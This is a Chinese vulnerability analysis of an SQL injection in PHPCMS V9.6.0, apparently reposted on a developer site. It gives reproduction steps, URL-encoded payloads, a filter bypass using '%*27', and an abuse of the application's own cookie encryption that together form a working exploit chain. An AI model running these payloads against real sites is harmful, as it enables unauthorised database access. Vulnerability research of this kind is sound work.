PHPCMS V9.6.0 SQL注入漏洞分析


0x01

此SQL注入漏洞與metinfo v6.2.0版本以下SQL盲注漏洞個人認為較為相似。且較為有趣,故在此分析並附上exp。

0x02

首先復現漏洞,環境為:

  PHP:5.4.45 + Apache

  mysql:5.5.53

  PHPCMS:V9.6.0-UTF-8

  Microsoft Windows 7 旗艦版  OS 版本: 6.1.7601 Service Pack 1 Build 7601

此漏洞復現分三個步驟:

  第一步:獲取 siteid

  訪問:/index.php?m=wap&a=index&siteid=1

  可以從返回包中獲取siteid的值,以下復現過程個人使用管理員cookie,所以並非使用siteid,siteid值具體作用請查看此文末尾exp,此處不再贅述。

  第二步:獲取加密后的payload

 明文payload:aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1
 POST訪問:/phpcmsv9.6.0/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1
POST參數:userid_flash=112312313acasdc(隨便填寫,但不能為空)

  

  此處可以得到加密后的payload

第三步:注入

  獲取到加密后的payload之后可直接帶入程序中,獲取所需的數據。

  

訪問:/phpcmsv9.6.0/index.php?m=content&c=down&a=init&a_k=d55eWp8mOkWM7ta1tz2mcrsAJ1CPYLCD3yXSZGWdtn_PqXIgq1bdB3A9EkhHVo5Hr2nLgscNBKBHCws-gP9My5gp2R0ac_90v3Rj3Ghfk6k6khao1XYuy5qg_c4wKvOKhAUhRVFJBIQNmPNmxnk_GNpjskYSgV1nUxCDtkd-N0v-yiMrEWMVaHqjbef4g5zHXGCbSS07hv5XLYr3kUo

  

  注入成功

0x03

  漏洞分析:

  首先漏洞產生點位於:\phpcms\modules\content\down.php 的 init 函數中

  

  注入點位於第26行:$rs = $this->db->get_one(array('id'=>$id)); 再看get_one函數:

  

  可以看到此處執行SQL語句。那么回過頭再看 $id 的來源是否可控。可以看到第17行parse_str函數。此函數作用是取出變量。那么再看$a_k是否可控。可以看到第14行,

  $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));

  這條語句為解密GET傳過來的數據,由此可以想到,如果將加密后的惡意數據通過GET傳入,在經過解密,並且沒經過任何過濾,直接拼接入SQL語句,由此漏洞產生。

  那么此處只需查看sys_auth這個加密函數,看是否可逆。

function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
	$ckey_length = 4;
	$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);

	$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);

	$result = '';
	$box = range(0, 255);

	$rndkey = array();
	for($i = 0; $i <= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}

	for($j = $i = 0; $i < 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}

	for($a = $j = $i = 0; $i < $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}

	if($operation == 'DECODE') {
		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
			return substr($result, 26);
		} else {
			return '';
		}
	} else {
		return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
	}
}

  此函數可以看出,倘若知道 $key 的值,便可逆,否則不可逆。由於此 key 並不固定。於是改變思路,現在需要找到一個將惡意數據加密后的地方,並且可以獲取,正好有一處為:set_cookie方法:

public static function set_cookie($var, $value = '', $time = 0) {
		$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
		$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
		$var = pc_base::load_config('system','cookie_pre').$var;
		$_COOKIE[$var] = $value;
		if (is_array($value)) {
			foreach($value as $k=>$v) {
				setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
			}
		} else {
			setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
		}
	}

  此函數倘若 $value 可控,那么 cookie 則可控。於是便有了加密后的 payload。此時全局搜索set_cookie,查找滿足條件的地方。可以找到有一個方法:swfupload_json 方法:

  此處250行調用了set_cookie方法,查看$json_str是否可控,看到第243行,$json_str 為GET傳入的數據。再看safe_replace過濾函數:

  可以看到會將GET的數據中 %20 ,%27,%2527等過濾。但是倘若如此構造payload:%*27 將此數據傳入,則safe_replace函數會先查找%27並過濾。但此數據沒有,在查找*並過濾,於是剩下的數據為%27,繞過成功。於是可以構造payload

明文:aid=1&src=1&id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#
urlencode:aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23

  此時傳入此可繞過過濾函數的payload並獲取加密后的cookie

  上圖中dwQXH_att_json的值即為加密后的payload。然后獲取此payload將起賦值給$a_k。並查看其值:

此時可以看到惡意數據被成功傳入。但是在down.php中還有幾個條件:

  可以看到,$a_k變量中還必須有 $m,$modelid,$catid,$f 等4個變量,否則會出錯。於是重新構造payload

明文:aid=1&src=1&id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#&m=1&modelid=1&catid=1&f=1
urlencode:aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1

  獲取加密后的payload:

然后傳入$a_k變量中。注入成功:

注:獲取不到set_cookie的值問題體現在構造函數中:

      

   此處會判斷是否登錄,由於我是登錄后台之后復現,所以沒有發現此問題,在此致歉。該問題解決方法為1、登錄一次后台。  2、將sys_auth()函數下載到本地,任意加密一個值后,獲取加密后的值以POST方法傳入userid_flash,這樣也會獲取到set_cookie的值。

  

 

exp:https://www.cnblogs.com/Spec/p/10844822.html

exp僅供學習交流使用,請勿惡意攻擊他人網站。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM